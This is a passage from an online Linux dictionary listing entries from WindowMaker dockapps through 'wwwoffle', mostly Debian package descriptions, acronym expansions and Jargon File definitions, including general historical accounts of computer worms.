: Combined CD Player + Mixer designed for WindowMaker This dockapp combines a CD player and a mixer in one 48x48 window. Very efficient on screen real−estate. Especially handy if you mainly want a mixer, and only rarely use a CD player, but want to have one around just in case. It's designed with WindowMaker in mind, but it works fine with any window manager, and can be swallowed by afterstep/fvwm/gnome panel/etc. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WMRM
: Windows Media Rights Manager (MS, Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WMS
: Warehouse Management System (DB) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WMS
: Workflow Management Systems From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmscope
: Graphical representation of sound waves in a dockapp wmscope is a dockapp that displays sound waves graphically, reading from a variety of sources. It also has a standby sine wave interference pattern to display when there is no audio input. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmsensors
: WindowMaker dock applet for lmsensors wmsensors is a WindowMaker applet that shows bar graphs of the information available through the lm−sensors interface From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmsmpmon

A CPU monitoring dockapp for SMP systems wmSMPmon is a CPU monitoring applet for SMP systems running Window Maker. It features two graphs for each CPU. It can be run on a System with only one CPU too, but it seems that the graph will show wrong value ranges. It has three different looks. You can change between them by clicking on the graph. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmsun

Dockable WindowMaker SunRise/SunSet App wmSun displays the current day's Sun Rise and Set Times. You must enter your Latitude and Longitude for it to work correctly. wmSun is designed to work with the WindowMaker dock, but will work with other window managers as well. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmsysmon

WindowMaker dock−app for monitoring your system. wmsysmon is a dockable application for WindowMaker (and possibly Afterstep). It monitors Memory, Swap, Disk IO, uptime and interrupts. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmtictactoe

Dockable Tic Tac Toe game wmTicTacToe is a dock application meant for WindowMaker. It allows you to play TicTacToe against another human or the computer. You can switch between a scoreboard and the gameboard, and it is great to relax and enjoy for a few minutes while working. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmtime

Displays time and date WMTime displays the time and date and gives you some nice additional features too. It is intended for docking in WindowMaker. WMTime currently provides: * Time and date; * Realtime morphing UI (analog <> digital mode); * Autoscaling and anti aliased hands; * Locale, can display DAY and DATE in various languages; * Can launch 3 user definable commands through ~/.wmtimerc; * Can be run multiple times; * Commandline options for help (−h), version (−v), digital clock mode (−digital) and and display (−d) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmtop

Dockapp that displays 3 top memory or CPU using processes wmtop maintains a view of the 3 top CPU (or memory) consuming processes displaying the amount of CPU used as a horizontal bar. Very useful for spotting those rogue Netscape processes! From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmtv

Dockable video4linux TV player for WindowMaker A miniature size dockable TV appllication. It currently supports channel presets, PAL/SECAM/NTSC, fine tuning, scanning of TV stations, use of external TV application, and more. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmtz

A wmaker dock app that displays the time in different zones. wmtz displays the time in different time zones and can also show Julian day numbers, sidereal time, internet time (swatch beats) and local time, date and weekday. wmtz can also convert between JD and Gregorian dates via a command line interface. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmusic

a remote−control DockApp for xmms wmusic is a dockapp that remote−controls xmms. Features include VCR−style controls, Time and Playlist display, supa stylee rotating arrow, hiding of the xmms windows and reactive interface. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WMV

Windows Media Video [CODEC] (MS, Windows, video, CODEC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmwave

Monitor status of an 802.11 wireless ethernet link wmwave is dockapp for Window Maker to display statistical information about a current wirless ethernet connection. While made for Window Maker, it works with other window managers. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmweather

WindowMaker dock app that shows your current weather wmWeather provides a monitor on a 64x64 mini window that displays the current weather. The weather reports are received from the same source that pilots use. wmWeather is designed to work with the WindowMaker dock, but will work with other window managers as well. xbase−clients are required for the left click to bring up the complete METAR record. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmwork

Keep track of time worked on projects wmwork provides a monitor on a 64x64 mini window that helps you keeping track of your time. The idea is based on the program Worklog written by Truxton King Fulton II. In contrast to Worklog wmwork is a graphical application designed to work with the WindowMaker dock, but will work with other window managers as well. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmx10

Control X10 home automation modules via a firecracker CM−17A X10 serial dogle The program is a WindowMaker/AfterStep applet. It allows for turning off, turning on, dimming, and brightening of X10 modules via the firecracker CM−17A X10 serial dogle. wmx10 controls one "house" at a time, up to eight separate devices on each "house". From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmxmms

a dockable XMMS control applet. From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmxmms−spectrum

XMMS spectrum analyser plugin for the Window Maker dock WMXMMS−Spectrum is an XMMS visualisation plugin that displays a spectrum analyser in a Window Maker dock application. Although it works best with Window Maker, it also works fine with other window managers. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wmxres

dock application to select your display mode among those possible wmxres is a tiny dockable application that comes in handy when you want a specific X mode. Modes can be scrolled through until the desired one is active. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wn

Secure and efficient http server with advanced features. WN is a server for the Hypertext Transfer Protocol (HTTP/1.1). Its primary design goals are security and functionality usually available only with complex CGI scripts without the necessity of writing or using these scripts. This includes extensive security checks, full text searching and conditionally served text. Despite this extensive functionality the WN executable is substantially smaller than the CERN or NCSA servers. Both a stand−alone daemon and a version intended for use under inetd are provided. The inetd version is designed to minimize the use of system resources and it is appropriate for moderate or lightly loaded servers which cannot be totally dedicated to Web serving. WN's security model is based on the use of a small flat database in each directory with information about the files in that directory. Fields associated with a file include its title, and may include keywords, expiration date and any user defined fields like author or document id. Unlike other servers, the default action for WN is to deny access to a file. A file can only be served if explicit permission to do so has been granted by entering it in this database. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wngerman
New German orthography dictionary for /usr/share/dict This is a wordlist with the new German orthography. It is based on the famous hkgerman dictionary (using the old German orthography) which was put together by Heinz Knutzen and is available as the Debian package wgerman. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WNIM
Wide area Network Interface Module From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wnn7egg
Wnn−nana−tamago −− EGG Input Method with Wnn7 for Emacsen EGG for Wnn7, called `wnn−nana−tamago' is Japanese Input Method for Emacsen. It is based on Tamago ver.3 (v3.09) and incorporated the communication library part of Tamago Ver.4 This only can use with Jserver of Wnn7. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wnorwegian
The Norwegian dictionary / wordlist This is a list of Norwegian names and words, to be used for whatever purpose you may think of. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WNPP
Work−Needing and Prospective Packages (Linux, Debian) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WON
World−O−Networking (BeOS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

woody
Hierarchic text editor Woody is a hierarchical text editor/outliner. It allows you to group related bits of information together into a common meaningful category. It is similar to BrainForest for the Palm Pilot. The program is ideal for maintaining TODO files. The program stores the files in xml, but can export to plain text files. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

word processor
An application that can be used to create documents with easily configured appearance and format settings. Graphical word processors have adopted the what you see is what you get (wysiwyg) method of document creation. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

word2x
Translates Word files into ascii text or LaTeX Takes Word files and transforms them into ascii text or LaTeX From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WORDIA
WORD Internet Assistant (MS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wordinspect
GTK−based Dictionary Client This package provides a graphical frontend to dict, which is a client that queries the dictd server. Since dict is TCP based, it can access servers on the local host, on a local network, or on the Internet. In addition to the dict client, this package requires access to a dictd server, either from dictd installed on the local machine or network, or over the Internet to one of the DICT Development Group's public servers. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wordnet
Electronic lexical database of English language WordNet(.) is an on−line lexical reference system whose design is inspired by current psycholinguistic theories of human lexical memory. English nouns, verbs, adjectives and adverbs are organized into synonym sets, each representing one

underlying lexical concept. Different relations link the synonym sets. WordNet was developed by the Cognitive Science Laboratory (http://www.cogsci.princeton.edu/) at Princeton University under the direction of Professor George A. Miller (Principal Investigator). WordNet is considered to be the most important resource available to researchers in computational linguistics, text analysis, and many related areas. Its design is inspired by current psycholinguistic and computational theories of human lexical memory. English nouns, verbs, adjectives, and adverbs are organized into synonym sets, each representing one underlying lexical concept. Different relations link the synonym sets. More Information on http://www.cogsci.princeton.edu/~wn/. Binary and manpages for this binaries as well as general manpagesurl: http://www.cogsci.princeton.edu/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wordplay

anagram generator Wordplay generates anagrams of words or phrases. For example, "Debian/Gnu Linux" = "blade gun in unix", "able nun dig unix", "dual benign unix", or "lad begun in unix". From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

words

The words file is a dictionary of English words for the/usr/share/dict directory. Programs like Ispell use this database of words to check spelling. Password checkers use it to look for bad passwords. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

workaround

n. 1. A temporary kluge used to bypass, mask, or otherwise avoid a bug or misfeature in some system. Theoretically, workarounds are always replaced by fixes; in practice, customers often find themselves living with workarounds for long periods of time. "The code died on NUL characters in the input, so I fixed it to interpret them as spaces." "That's not a fix, that's a workaround!" 2. A procedure to be employed by the user in order to do what some currently non−working feature should do. Hypothetical example: "Using META−F7 crashes the 4.43 build of Weemax, but as a workaround you can type CTRL−R, then SHIFT−F5, and delete the remaining cruft by hand." From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

workbone

A simple text−based CD player Workbone is a simple, curses−based CD player that is controled by the num−lock keys. The cdtool package can be used to determine the contents of a CD before playing it. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

worker

A highly configurable two−paned file manager for X Worker is a file manager much like the Amiga's DirOpus. It can be controlled with mouse or keyboard. There is no restriction on the number or type of button functions. Files are recognized by both extension and content, content by recognizing common bytes in the sample files you show it. Drag & Drop is supported. If xli is installed, it quickly previews pictures in the opposite pane. If xbase−clients is installed, xmessage is used to display some informative messages. See http://www.boomerangsworld.de/worker From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

workgroup

A collection of individual computer users that are logically connected, usually by a single project or by a department within an organization. Members of a workgroup share common data and collaborate with each other as they work with it. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Working Directory

Another name for the current directory, or the directory in which the user is currently working. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

working directory

The directory in which you are working; also known as the current directory. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

worklog

Keep Track of Time worked on Projects From the author: Worklog is a program that helps you keep track of your time. I wrote this program because I have several projects that require me to keep a timesheet. I sometimes spend 5 minutes here and there doing miscellaneous administrative tasks. Rather than invoke an editor on a timesheet file for every little segment of my time spent doing these tasks, I wanted to leave a clock running and indicate with one or two keystrokes the onset or change of any given task. Worklog is a simple ncurses based program to do just that. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

workman

Graphical tool for playing audio CDs on a CD−ROM drive. WorkMan can play and control audio CDs from a comfortable OpenLook interface. It can retrieve information about CDs from a CDDB server, store this information in a database, and extract it automatically when the CD is inserted later again. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Workspace

Another name for the Root Window, or Desktop. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

workspace

In the X Window System, the root window, or desktop, on which all other windows are overlaid. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Workstation

Typically a more powerful computer than a personal computer (eg Mac or PC). Workstations are typified through features such as high resolution displays, very large memory capacities, and excellent multi task; abilities running on UNIX or a similar operating system. From Faculty−of−Education http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

World Wide Web (WWW)

An intercontinental network of connected computers that serve documents, files, and other resources over the Internet. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

World−Wide−Web

A distributed hypertext information system that uses HTTP to retrieve text and graphics, often erroneously referred to by the name of one type of browser, Mosaic. From KADOWKEV http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

worm

A program that propagates itself by attacking other machines and copying itself to them. Example: In the late 1980s, the Morris Worm shutdown the Internet for a couple of days. At the time, well−known bugs in the UNIX sendmail program could allow a hacker to break into machines. Robert T. Morris wrote a program that would san machines for these security holes, then break into the machine. After breaking in, the program would copy itself up to that machine, then launch it. In this manner, the worm spread from machine to machine, multiplying until it had broken into nearly every machine which contained these bugs. However, the worm itself had a bug where it couldn't detect that a machine had already been broken into. Therefore, it would repeatedly break into the same machine over and over, until it machine collapsed from running too many instances of the worm. Copycats of the Morris Worm pop up repeatedly as new security holes appear in popular systems (like Linux), but they never have the devastating effect of the Morris Worm. Example: In the late 1999, the Melissa Worm/Virus nearly disabled the Internet. The worm spread by e−mailing itself to the first 50 people in a user's e−mail address book. Victims would then receive an e−mail from somebody they knew and trusted, so they would open the attached document and run the macros. In this manner, Melissa spread from inbox to inbox. Melissa is sort of a cross between a virus and a worm: it had the ability to spread itself like a worm, but it still required user interaction. Example: Around 1998, the ADMworm traveled by exploiting a few well−known Linux vulnerabilities in Linux machines, breaking into the machine, installing itself, then hunting for more machines. Example: Having failed to learn their lesson in 1999, the industry was pummeled by the ILOVEYOU worm in early 2000. It spread in much the same way, though this time it was a VBS script rather than an .exe. Contrast: There really is not difference between a worm and a virus. The dividing line is usually drawn along the amount of human interaction involved, and how it spreads from machine to machine. A worm spreads itself with zero human interaction, whereas a virus is spread by human contact: humans exchange files from machine to machine, and when a human runs the infected program, the virus only infects other files on the same machine. Some viruses do attack servers, but only because the user is connected to the server. The Melissa Virus/Worm crosses the line: it spreads from one machine to another like a worm, but it must be launched by the user like a virus. Example: The SirCam Worm of July 2001 didn't explode as fast as other viruses, but had a large effect on the net through its "background" operation on a machine and the technique of spidering the cached files in web−browsers looking for e−mail addresses. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Worm

A virus that's designed to find all data in memory or on disk and alter any data it encounters. The alteration may be to change certain chracters to numbers or to swap bytes of stored memory. A few programs may still run, but usually data is irretrievably corrupted. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Worm

A worm is a virus that does not infect other programs. It makes copies of itself, and infects additional computers (typically by making use of network connections) but does not attach itself to additional programs; however a worm might alter, install, or destroy files and programs. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

worm

n. [from `tapeworm' in John Brunner's novel "The Shockwave Rider", via XEROX PARC] A program that propagates itself over a network, reproducing itself as it goes. Compare virus. Nowadays the term has negative connotations, as it is assumed that only crackers write worms. Perhaps the best−known example was Robert T. Morris's Great Worm of 1988, a `benign' one that got out of control and hogged hundreds of Suns and VAXen across the U.S. See also cracker, RTM, Trojan horse, ice. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WORM

Write Once Read Many (CD) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WOSA

Windows Open System Architecture (MS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WOSAXCEM

WOSA eXtensions for Control, Engineering and Manufacturing (WOSA, MS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WOSAXFS

WOSA eXtensions for Financial Services (WOSA, MS), "WOSA X FS" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WOSAXRT

WOSA eXtensions for Real−Time market data (WOSA, MS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WOSC

World Organization of Systems and Cybernetics (org., France) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WOW

Windows On Windows From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WOWLinux

The site appears current. Korean distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WP

Word Perfect From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wp2x

WordPerfect 5.x to whatever converter This program converts simple WordPerfect 5.0 and 5.1 files into any other document processing languages that use plain text files, like TeX, LaTeX, troff, GML and HTML. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wpac−applet

Wallpaper auto changer for GNOME wpac−applet is a GNOME applet which automatically changes the wallpaper. You need xloadimage because it called by wpac−applet internally. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wpolish

Polish dictionary words for /usr/dict This package provides the file /usr/share/dict/polish containing a list of Polish words. This list can be used by spelling checkers, and by programs such as look(1). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wpp

The Web Preprocessor − a Perl script to preprocess HTML files WPP is a small Perl script that allows preprocessing of HTML files. You can define variables, which are abbreviations for longer constructs, and include common HTML fragments. It's useful for giving an uniform layout to different HTML pages. It can be used into cgi−bin programs for automatic generation of pages. With less HTML code inside them you can make more flexible and readable scripts. WPP provides four separate facilities that you can use as you see fit: inclusion of text/HTML fragments, variables expansion, conditional generation, macros expansion. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wprint

Print any charset from web browsers and HtmlDoc WorldPrint is a filter for Mozilla (Galeon, etc.), Htmldoc, and Netscape PostScript output that uses TrueType fonts to allow the printing of pages written in Unicode, Big5, SJIS, KOI−8, ISO−8859* and others. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WPS

Windows Printing System (MS, Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WPS

Word Processing Software From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WPS

WorkPlace Shell (OS/2, IBM, Shell) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WQL

WMI Query Language (MS, Windows, WMI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WRAM

Window Random Access Memory (RAM, IC, Samsung, Matrox) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wrap around

vi. (also n. `wraparound' and v. shorthand `wrap') 1. [techspeak] The action of a counter that starts over at zero or at `minus infinity' (see infinity) after its maximum value has been reached, and continues incrementing, either because it is programmed to do so or because of an overflow (as when a car's odometer starts over at 0). 2. To change phase gradually and continuously by maintaining a steady wake−sleep cycle somewhat longer than 24 hours, e.g., living six long (28−hour) days in a week (or, equivalently, sleeping at the rate of 10 microhertz). This sense is also called phase−wrapping. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Wrapper

A program used to start another program. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wrapper

A program used to start another program; usually a wrapper is SUID or SGID so it can bestow privileges onto another program that the other program would not normally have write. Allows you to communicate with other users, by copying lines from your terminal to theirs. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WRB

Web Request Broker (Oracle, WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

write

send a message to another user From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

write

write to a file descriptor From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

write−only code

n. [a play on `read−only memory'] Code so arcane, complex, or ill−structured that it cannot be modified or even comprehended by anyone but its author, and possibly not even by him/her. A Bad Thing. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

write−only language

n. A language with syntax (or semantics) sufficiently dense and bizarre that any routine of significant size is automatically write−only code. A sobriquet applied occasionally to C and often to APL, though INTERCAL and TECO certainly deserve it more. See also Befunge. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

write−only memory

n. The obvious antonym to `read−only memory'. Out of frustration with the long and seemingly useless chain of approvals required of component specifications, during which no actual checking seemed to occur, an engineer at Signetics once created a specification for a write−only memory and included it with a bunch of other specifications to be approved. This inclusion came to the attention of Signetics management only when regular customers started calling and asking for pricing information. Signetics published a corrected edition of the data book and requested the return of the `erroneous' ones. Later, in 1972, Signetics bought a double−page spread in "Electronics" magazine's April issue and used the spec as an April Fools' Day joke. Instead of the more conventional characteristic curves, the 25120 "fully encoded, 9046 x N, Random Access, write−only−memory" data sheet included diagrams of "bit capacity vs. Temp.", "Iff vs. Vff", "Number of pins remaining vs. number of socket insertions", and "AQL vs. selling price". The 25120 required a 6.3 VAC VFF supply, a +10V VCC, and VDD of 0V, +/− 2%. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WRT

Whitewater Resource Toolkit (Windows, TPW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WRT

With Respect To (slang, Usenet, IRC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WSF

Work Station Feature (IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WSF

Work Station Function (IN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WSH

Windows Scripting Host (MS, Windows, COM, WSH) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wsoundprefs

Preferences editor for the Window Maker sound server WSoundPrefs is a WPrefs look−alike. It can be used to customize the sounds Window Maker uses for different events, as well as editing sound sets. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wsoundserver

Window Maker Sound Server WSoundServer is a complete, from scratch, reimplementation of a sound server for Window Maker window manager, done by Pascal Hofstee. It supports WAVE (wav), AIFF, Sun/NeXT (au), and snd audio formats. This package contains the sound server, the wsound library and soundset utilities. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WSP

Wireless Session Protocol (WAP, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WSP

Workstation Security Package From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wspanish

The Spanish dictionary words for /usr/share/dict This package contains an alphabetic list of Spanish words From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WSS

Windows Sound System (Windows, audio) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wswedish

The Swedish dictionary. This is a list of 120,000 Swedish words and names, to be used for whatever purpose you may think of. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WTC

Windows Terminal Controller From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wterm

An rxvt based, color xterm replacement. Wterm is an rxvt based, 8−bit clean, color, xterm replacement. It contains features such as transparency, reverse transparency, background images, nice looking NeXT style scrollbars and is very customisable. Wterm is optimised for use under WindowMaker 0.50.x and up. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WTF

What / Where / Who / Why The F*** (DFUe, Usenet, IRC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WTH

What / Where / Who / Why The Hell (DFUe, Usenet, IRC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WTLS

Wireless Transport Layer Security From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wtmp

records all logins and logouts. Its format is exactly like utmp except that a null user name indicates a logout on the associated terminal. From Linux Guide @FirstLinux
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WTP

Wireless Transport Protocol (WAP, mobile−systems) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WTS

Web Transaction Security (WWW) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WTX

Wokstation Technology eXtended [format] From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wu−ftpd

powerful and widely used FTP server This FTP daemon, originally from the Washington University of St. Louis, is a powerful, and widely used replacement FTP server for Unix systems. The FTP protocol is a method of transferring files between machines on a network and/or over the Internet. Besides fully supporting the FTP protocol defined in RFCs 959 and 1579 (and others), it adds the following features: o logging of transfers, o logging of commands, o on the fly compression and archiving, o classification of users on type and location, o per class limits, o per directory upload permissions, o restricted guest accounts, o system wide and per directory messages, o directory aliases, o cdpath, o filename filter, o virtual host support (similar to the Apache HTTP server). This release is maintained by the WU−FTPD Development Group as a public service to the Internet. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wv

Convert and preview Microsoft Word documents. wv (previously known as mswordview) is a library which allows access to Microsoft Word files. It can load and parse the Word 2000, 97, 95, and 6 file format. (Work is underway to support reading earlier formats as well: Word 2 documents are converted to plain text.) Among the provided programs are: * wvWare: Converts to HTML and LaTeX. It's used by a small army of helper scripts able to preview Word documents and convert them to various other formats, like PostScript, PDF, DVI, etc. * wvRTF: Converts to Microsoft's Rich Text Format. * wvSummary: Displays the summary information stream of all OLE2 files, i.e. Excel, PowerPoint, Visio, Access, etc. * wvVersion: Outputs the version of the Word format a document is stored in. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wvdial

PPP dialer with built−in intelligence. WvDial sacrifices some of the flexibility of programs like "chat" in order to make your dialup configuration easier. When you install this package, your modem will be detected automatically and you need to specify just three parameters: the phone number, username, and password. WvDial knows enough to dial with most modems and log in to most servers without any other help. In particular, you no longer need a "chat script" to handle the most common situations. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wvdial

WvDial automatically locates and configures modems and can log into almost any ISP's server without special configuration. You need to input the username, password, and phone number, and then WvDial will negotiate the PPP connection using any mechanism needed. From Redhat 8.0 RPM
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WVNET

West Virginia Network for Educational Telecomputing (network, USA) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WVSO

WiederVerwendbare SoftwareObjekte From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WWDC

World Wide Developer Conference (Apple) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WWIMS

Worldwide Warning Indicator Monitoring System (mil.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wwl

Calculates distance and azimuth between two Maidenhead locators Given two Maidenhead locators, wwl calculates distance (qrb) and azimuth. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WWMCCS

Worldwide Military Command and Control System (mil., predecessor, GCCS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WWOLS

World Wide On−Line System (mil.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wwsympa

Web interface for administrating Sympa WWSympa is a well integrated web interface for configuring Sympa. It comes with original features such as : − Unique interface for users and admin, authentication − Contextual internationalization (English, French and Spanish) − Archives (MhOnArc) with access control and a Search Engine (MarcSearch) − Clean moderation − Edition of service messages (templates) for owner and listmaster − Semi−automatic bounces management − HTTPS authentication − Support for virtual hosting with respect to virtual domains From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WWW

World Wide Web (Internet) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WWW

World Wide Web−−also known as WEB−−this is the generic name given to all of the hypertext−based HTML documents on the Internet. A revolutionary Internet browsing system that allows point−and−click%navigation of the Internet. The WWW is a spiderweb−like interconnection of millions of pieces of information located on computers around the world. Web documents use hypertext, which incorporates text and graphical links to other documents and files on Internet−connected computers. From Glossary of Distance Education and Internet Terminology http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WWW (World Wide Web)

World Wide Web (or simply Web for short) is a term frequently used (incorrectly) when referring to "The Internet", WWW has two major meanings: First, loosely used: the whole constellation of resources that can be accessed using Gopher, FTP, HTTP,telnet, USENET, WAIS and some other tools. Second, the universe of hypertext servers (HTTP servers), more commonly called "web servers", which are the servers that serve web pages to web browsers. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

www−mysql

a WWW interface for the TCX mySQL database www−mysql is a web interface for the mySQL database. SQL commands can be embedded into web pages; these are executed on the server by www−mysql and the resulting web page sent to the browser. All SQL commands and queries supported by mySQL can be used via www−mysql. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

www−pgsql
a WWW interface for the PostgreSQL database www−pgsql is a web interface for the PostgreSQL database. SQL commands can be embedded into web pages; these are executed on the server by www−pgsql and the resulting web page sent to the browser. All SQL commands and queries supported by PostgreSQL can be used via www−pgsql. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wwwconfig−common
Debian web auto configuration. A package to provide common setup scripts for some packages that need apache, php and a database. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wwwoffle
